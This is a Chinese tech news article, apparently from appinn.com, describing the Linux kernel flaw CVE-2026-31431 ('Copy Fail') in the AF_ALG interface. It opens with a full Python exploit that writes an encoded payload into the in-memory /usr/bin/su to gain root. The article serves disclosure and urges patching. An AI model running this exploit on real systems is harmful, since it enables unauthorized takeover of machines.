Copy Fail:2017年至今的漏洞,一个脚本获得 Linux root 管理员权限|CVE-2026-31431

来源: https://www.appinn.com/copy-fail-cve-2026-31431/

演示代码

#!/usr/bin/env python3

import os as g,zlib,socket as s

def d(x): return bytes.fromhex(x)

def c(f,t,c):

a = s.socket( 38 , 5 , 0 );a.bind(( "aead" , "authencesn(hmac(sha256),cbc(aes))" ));h = 279 ;v = a.setsockopt;v(h, 1 ,d( '0800010000000010' + '0' * 64 ));v(h, 5 , None , 4 );u,_ = a.accept();o = t + 4 ;i = d( '00' );u.sendmsg([b "A" * 4 + c],[(h, 3 ,i * 4 ),(h, 2 ,b '\x10' + i * 19 ),(h, 4 ,b '\x08' + i * 3 ),], 32768 );r,w = g.pipe();n = g.splice;n(f,w,o,offset_src = 0 );n(r,u.fileno(),o)

try :u.recv( 8 + t)

except : 0

f = g. open ( "/usr/bin/su" , 0 );i = 0 ;e = zlib.decompress(d( "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3" ))

while i< len (e):c(f,i,e[i:i + 4 ]);i + = 4

g.system( "su" )

Linux 里有一种比较底层的接口,叫 AF_ALG,用来给程序做加密/解密的。它的数据会直接在内核里传来传去,不走普通读写路径

问题出在这里,内核在处理这条数据通道时,没有区分“只读”和“可写”。

比如这段代码,它把额外的数据写入了内存中的 /usr/bin/su 程序,相当于修改了内存中的 su 程序(该程序权限很高),所以执行 su 的时候,就拿到了 root 权限。

Copy Fail

有人专门为这件事制作了一个漏洞演示网站,就叫做 Copy Fail,复制失败。

它还同时演示了 Ubuntu 24.04、Amazon Linux 2023、RHEL 14.3、SUSE 16 几个不同系统中招的过程

该漏洞的利用过程是这样的:

  1. 打开 su(目标程序)
  2. 解压一段隐藏代码(payload)
  3. 利用内核漏洞
  4. 把 payload 写进内存里的 su
  5. 执行 su → 拿 root

谁受影响

Copy Fail 只需要一个非特权本地用户账户,不需要网络访问权限,不需要内核调试功能,也不需要预装底层程序。基本上所有主流发行版的默认配置都启用了内核加密 API (AF_ALG),因此整个 2017 → 补丁发布窗口之前的操作系统,都…开箱即用。

注意,Linux 被广泛应用在各种设备中,包括电脑、服务器、云平台、路由器、NAS、物联网设备,甚至部分手机系统,因此影响范围非常广。

怎么办?

更新你的操作系统。